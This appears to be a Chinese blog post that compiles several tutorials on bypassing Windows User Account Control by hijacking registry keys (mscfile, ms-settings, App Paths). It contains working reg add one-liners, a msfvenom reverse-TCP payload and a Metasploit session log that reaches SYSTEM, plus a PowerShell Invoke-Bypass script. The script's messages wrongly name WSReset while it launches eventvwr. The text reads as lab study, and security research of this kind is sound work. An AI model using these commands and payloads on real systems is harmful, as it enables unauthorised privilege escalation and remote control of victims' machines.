• Bypass UAC——通过HKCU\Software\Classes\mscfile\shell\open\command


    注意:win11均无法利用此漏洞了!

    **UAC bypass for Win10:** 【此case,在我的win10上没有复现】
    reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe" /d "cmd.exe" /f && START /W sdclt.exe && reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe" /f
    
    **UAC bypass for Win10:**
    reg add HKCU\Software\Classes\ms-settings\shell\open\command /v "DelegateExecute" /f && reg add HKCU\Software\Classes\ms-settings\shell\open\command /d "cmd /c start powershell.exe" /f && START /W fodhelper.exe && reg delete HKCU\Software\Classes\ms-settings /f
    
    **UAC bypass for 7/8/10:**
    reg add HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command /d "cmd.exe" /f && START /W CompMgmtLauncher.exe && reg delete HKEY_CURRENT_USER\Software\Classes\mscfile /f
    

      

    **UAC bypass for Win10:**【仅仅对win10有效】
    reg add HKCU\Software\Classes\ms-settings\shell\open\command /v "DelegateExecute" /f && reg add HKCU\Software\Classes\ms-settings\shell\open\command /d "cmd /c start powershell.exe" /f && START /W fodhelper.exe && reg delete HKCU\Software\Classes\ms-settings /f
    
    复现方法(注意关闭defender):
    正常情况下是:START /W fodhelper.exe

    但是修改了注册表以后:

    实践案例:https://pentestlab.blog/2017/05/02/uac-bypass-event-viewer/

    具体来说,当 eventvwr.exe 被执行时,真正发生在幕后的是它试图在这两个注册表位置找到 mmc.exe:

    • HKCU\Software\Classes\mscfile\shell\open\command
    • HKCR\mscfile\shell\open\command

    第一个注册表位置不存在,因此 mmc.exe 从第二个位置执行,然后加载 eventvwr.msc 文件以向用户显示信息。

    通过 MMC 的事件查看器MMC 和事件查看器

    因此,攻击者有可能创建不存在的注册表位置,以执行具有高级完整性的进程,从而绕过用户帐户控制 (UAC)。

    提升的 CMD - 事件查看器注册表
    通过事件查看器执行 CMD

    当 eventvwr.exe 将被执行时,命令提示符将直接打开,而不需要从 UAC 进行任何提升。(注意:注册表添加因为是到hkcu,所以普通用户是添加到自己的hkcu下面,和管理员的不一样,因此对此应用场景,其实是管理员身份先添加了一个注册表项,然后管理员再去打开event viewer时候,就不会有uac的提示,而直接打开了cmd!普通用户的话,是不行的!因为管理员的hkcu和普通用户的不一样!

    通过事件查看器绕过 UAC通过事件查看器绕过 UAC

    这种技术被认为是非常隐蔽的,因为它不接触磁盘,也不进行任何进程注入,避免了被防病毒或监控进程行为的安全解决方案发现的风险。

    然而,为了获得正确的 Meterpreter 会话并使用 Meterpreter 通过 getsystem 命令使用的技术之一提升权限,也可以使用恶意且无法检测到的有效负载来代替命令提示符。

    自定义负载 - 注册表自定义有效负载 - 注册表

    Process Explorer 可以验证 pentestlab3.exe 进程的完整性级别,该进程再次运行为高:

    Pentestlab3 - 高完整性流程pentestlab3 - 作为高完整性进程运行

    Metasploit 模块处理程序将捕获提升的 Meterpreter 会话,从那时起权限升级是可能的,因为用户帐户控制已经被绕过。

    Pentestlab3 - 高架 Meterpreter
    Pentestlab3
     
    我来复现下吧:
    一个win7 64机器,外加一台kali
    制作木马:
    msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.157.128 lport=4444 -f exe >shell.exe
    上传到win7,
    C:\Users\bonelee\Desktop>reg add HKEY_CURRENT_USER\Software\Classes\mscfile\shel
    l\open\command /d "C:\Users\bonelee\Desktop\shell.exe" /f
    The operation completed successfully.
    
    C:\Users\bonelee\Desktop> START /W CompMgmtLauncher.exe
    
    kali下的监听:
    msf6 > use exploit/multi/handler 
    [*] Using configured payload generic/shell_reverse_tcp
    msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
    payload => windows/meterpreter/reverse_tcp
    msf6 exploit(multi/handler) > set lhost 192.168.157.128
    lhost => 192.168.157.128
    msf6 exploit(multi/handler) > set lport 4444
    lport => 4444
    msf6 exploit(multi/handler) > run
    
    [*] Started reverse TCP handler on 192.168.157.128:4444 
    [*] Sending stage (175686 bytes) to 192.168.157.129
    [*] Meterpreter session 1 opened (192.168.157.128:4444 -> 192.168.157.129:49194) at 2022-09-13 05:04:40 -0400
    
    meterpreter > getuid
    Server username: WIN-0BIKIQLCCRQ\bonelee
    meterpreter > whoami
    [-] Unknown command: whoami
    meterpreter > background
    [*] Backgrounding session 1...
    msf6 exploit(multi/handler) > sessions
    
    Active sessions
    ===============
    
      Id  Name  Type                 Information           Connection
      --  ----  ----                 -----------           ----------
      1         meterpreter x86/win  WIN-0BIKIQLCCRQ\bone  192.168.157.128:4444
                dows                 lee @ WIN-0BIKIQLCCR   -> 192.168.157.129:
                                     Q                     49194 (192.168.157.1
                                                           29)
    
    msf6 exploit(multi/handler) > sessions
    
    Active sessions
    ===============
    
      Id  Name  Type                 Information           Connection
      --  ----  ----                 -----------           ----------
      1         meterpreter x86/win  WIN-0BIKIQLCCRQ\bone  192.168.157.128:4444
                dows                 lee @ WIN-0BIKIQLCCR   -> 192.168.157.129:
                                     Q                     49194 (192.168.157.1
                                                           29)
    
    msf6 exploit(multi/handler) > run
    
    [*] Started reverse TCP handler on 192.168.157.128:4444 
    [*] Sending stage (175686 bytes) to 192.168.157.129
    [*] Meterpreter session 2 opened (192.168.157.128:4444 -> 192.168.157.129:49196) at 2022-09-13 05:07:17 -0400
    
    meterpreter > getuid
    Server username: WIN-0BIKIQLCCRQ\bonelee
    meterpreter > getsystem
    ...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
    meterpreter > getuid
    Server username: NT AUTHORITY\SYSTEM
    

     最后可以看到提权到了system!!!

    Metasploit

    或者,有一个 Metasploit 模块可以自动执行上述过程,返回一个提升的 Meterpreter 会话。

    1
    exploit/windows/local/bypassuac_eventvwr
    Metasploit - 通过事件查看器绕过 UAC
    Metasploit – 通过事件查看器绕过 UAC
     
    UACBypass 基础思路学习 —— 劫持注册表
     2020-01-06 15:52:53     1944     0     0

    0x01 基础知识

    • HKCU = HKEY_CURRENT_USER
    • HKLM = HKEY_LOCAL_MACHINE
    • HKCR = HKEY_CLASSES_ROOT

    title

    上图是 Windows 10 企业版的 regedit 的截图。HKCU 和 HKLM 这2个注册表驱动器有什么特殊之处呢?

    在 Powershell 中,仅定义了此2个注册表驱动器。其他的一些如 HKCR 没有被预定义。当然可以自己手动定义。

    参考:What, no HKCR in PowerShell?

    0x02 原理分析

    前提:一些高权限的程序会调用 HKCR:\ 下的键值。

    思路:

    1. 通过修改 HKCU:\ 下面的键值同步修改 HKCR:\ 下的键值。
    2. 把原本的键值改为 cmd.exe 等 shell 程序。
    3. 如果高权限的程序在运行过程中调用此处被修改过的键值,就会以高权限启动我们设定的程序。
    4. 如此便实现了 Bypass UAC。

    问题:

    难点在于如何找这种可利用程序:

    1. 是高权限程序
    2. 需要调用 HKCR:\ 下的键值。

    0x03 工具准备

    • sigcheck.exe
    • Process Monitor

    sigcheck.exe

    sigcheck.exe 工具可以查看 exe 的 manifest,在 manifest 中可以看到程序的权限。

    下图中我查看了 certutil.exe 的权限,是普通权限(asInvoker 跟随调用者)。

    title

    title

    title

    对于 XML 文件中引用的 UAC 执行权限级别,分别代表下列含义:

    title

    highestAvailable 和 requireAdministrator 的区别是:前者是以当前用户可以获得的最高权限运行,后者是仅以系统管理员权限运行。

    我们找的话要找 highestAvailable 的,因为如果我们都能以管理员权限运行了,肯定就不需要 bypass UAC 了。

    另外有更加直观的判断方法是:

    查看文件图标,如果带有 UAC 标志,那么一定是高权限的程序,如图:

    title

    但是就我们 Bypass UAC 的出发点,我们还得判断其 UAC 执行级别是 highestAvailable 还是 requireAdministrator。比如我找到了 wusa.exe 这个程序也是 highestAvailable

    Process Monitor

    借助 Process Monitor,可以查看程序运行过程中的注册表、文件、网络、进程间的调用关系。

    0x04 实验

    实验环境:Windows 7 SP1 x64

    启动 Process Monitor,运行 eventvwr.exe。Process Monitor 选择 Tools-Process Tree,找到 eventvwr.exe。

    title

    右键- Go To Event,如图:

    title

    然后过滤出 eventvwr.exe 进程的活动:

    title

    仔细查看进程调用关系,如图:

    title

    title

    title

    获取了以下一些信息:

    • eventvwr.exe 的权限为 high
    • eventvwr.exe 首先查询键值 HKCU\Software\Classes\mscfile\shell\open\command,查询结果为 NAME NOT FOUND
    • eventvwr.exe 接着查询键值 HKCR\mscfile\shell\open\command,结果为 SUCCESS

    修改测试

    如果修改键值 HKCU\Software\Classes\mscfile\shell\open\command,使其查询结果为 SUCCESS,会如何呢?

    首先需要修改键值 HKCU\Software\Classes\mscfile\shell\open\command,为测试可以把值改为 calc.exe

    因为我这里的 regedit 中的键值只到 HKCU\Software\Classes\ 这层目录,所以我新增了后面的表项,并把值设为 C:\Windows\System32\calc.exe

    title

    然后再次运行 eventvwr.exe,就发现启动了 calc.exe

    使用 Process Monitor 查看进程调用关系,如图:

    title

    此时对键值 HKCU\Software\Classes\mscfile\shell\open\command 的查询结果为 SUCCESS

    title

    计算器权限为 high,成功绕过 UAC。

    至此,成功通过修改 HKCU\Software\Classes\mscfile\shell\open\command,实现 BypassUAC,获得了高权限。

    0x05 总结

    其实此方法 2016 年就提出来了,据说 Win10 系统已对该处做了修复,但是本新手只是学习一下思路。

    在进程 eventvwr.exe 启动的时候,首先查找注册表位置 HKCU\Software\Classes\mscfile\shell\open\command。如果该处为空,接着查找注册表位置 HKCR\mscfile\shell\open\command(此处默认值为 %SystemRoot%\system32\mmc.exe "%1" %*),以高权限启动 mmc.exe,最后打开 eventvwr.msc

    title

    修改注册表 HKCU\Software\Classes\mscfile\shell\open\command 的键值只需要普通用户权限而已,但是通过在注册表 HKCU\Software\Classes\mscfile\shell\open\command 中添加 payload,就可以在启动 mmc.exe 之前执行预设的 payload。

    修改 HKCU\Software\Classes\mscfile\shell\open\command后,会劫持所有 .msc 文件的运行,如 gpedit.msc

    title

    该方法 BypassUAC 的优点为:

    • 无文件
    • 不需要进程注入
    • 不需要复制特权文件

    按照此方法,可以继续对 system32 下的 highestAvailable 权限的 exe 进行测试,如 wusa.exe,寻找可以实现 UACBypass 的键值。这种 hook 的思路,可以继续学习。

    0x06 参考资料:

    [1] https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/
    [2] https://enigma0x3.net/2016/05/25/userland-persistence-with-scheduled-tasks-and-com-handler-hijacking/
    [3] https://blog.gdatasoftware.com/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence
    [4] https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/
    [5] https://3gstudent.github.io/3gstudent.github.io/Userland-registry-hijacking/
    [6] https://www.cnblogs.com/elisha-blogs/p/msc.html

    Bypass UAC

     

    一、UAC介绍

     UAC(User Account Control)是微软在 Windows Vista 以后版本引入的一种安全机制,通过 UAC,应用程序和任务可始终在非管理员帐户的安全上下文中运行,除非管理员特别授予管理员级别的系统访问权限。

    当前获得的权限是存在于管理员组的时候但是并且是administrator这个用户,此时就可能需要我们进行绕过UAC的操作,否则虽然是管理员组但是实际上并没有管理员所对应的高权限操作,这个时候就需要bypass uac

    二、利用注册表bypass uac

    HKCU = HKEY_CURRENT_USER
    HKLM = HKEY_LOCAL_MACHINE
    HKCR = HKEY_CLASSES_ROOT
    一些高权限的程序会调用 HKCR:下的键值,通过修改 HKCU下面的键值同步修改HKCR 下的键值,把原来得值改成想运行得程序比如beacon.exe,如果高权限得程序运行过程会调用这个键值,就会以高权限运行我们得程序达到bypass uac

    sigcheck.exe 工具可以查看 exe 的 manifest,在 manifest 中可以看到程序的权限。

    找的话要找highestAvailable得属性,使用Process Monitor进行过滤规则的选择,找到程序eventvwr.exe,找到其调用过程,可以发现这条注册表的项它会进行查询

    eventvwr.exe 首先查询键值 HKCU\Software\Classes\mscfile\shell\open\command,查询结果为 NAME NOT FOUND;

      eventvwr.exe 接着查询键值 HKCR\mscfile\shell\open\command,结果为 SUCCESS,因为修改注册表HKCU\Software\Classes\mscfile\shell\open\command得值只需要普通用户权限,所以修改为calc.exe进行测试

    win10测试发现没有加载这个注册表路径,win7存在,但是需要手动添加后面得选项\shell\open\command,如下图所示成功弹出calc.exe

    calc.exe程序权限为 high,成功绕过 UAC。

     

    powershell自动化添加:powershell.exe -exec bypass -Command "& {Import-Module .\bypass.ps1;Invoke-Bypass }"

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    function Invoke-Bypass {
          Param (
          [String]$Command "C:\Windows\System32\cmd.exe /c start cmd.exe"
          )
     
          $CommandPath "HKCU:\Software\Classes\mscfile\shell\open\command"
          $filePath "HKCU:\Software\Classes\mscfile\shell\open\command"
          New-Item $CommandPath -Force | Out-Null
          New-ItemProperty -Path $CommandPath -Name "DelegateExecute" -Value "" -Force | Out-Null
          Set-ItemProperty -Path $CommandPath -Name "(default)" -Value $Command -Force -ErrorAction SilentlyContinue | Out-Null
          Write-Host "[+] Registry entry has been created successfully!"
     
          $Process = Start-Process -FilePath "C:\Windows\System32\eventvwr.exe" -WindowStyle Hidden
          Write-Host "[+] Starting WSReset.exe"
     
          Write-Host "[+] Triggering payload.."
          Start-Sleep -Seconds 5
     
          if (Test-Path $filePath) {
          Remove-Item $filePath -Recurse -Force
          Write-Host "[+] Cleaning up registry entry"
          }
    }

    参考链接:

    Win10bypass:https://www.chabug.org/tools/1714.html

    http://blog.leanote.com/post/snowming/ec21a4823438

  • 相关阅读:
    第八章 路由器交换机及其操作系统的介绍
    k-Tree DP计数
    Drop Voicing 最长升序
    高精度
    1196D2
    C
    POJ 3974 马拉车
    2020.8.1第二十六天
    2020.7.31第二十五天
    每日日报
  • 原文地址:https://www.cnblogs.com/bonelee/p/16689146.html
Copyright © 2020-2023  润新知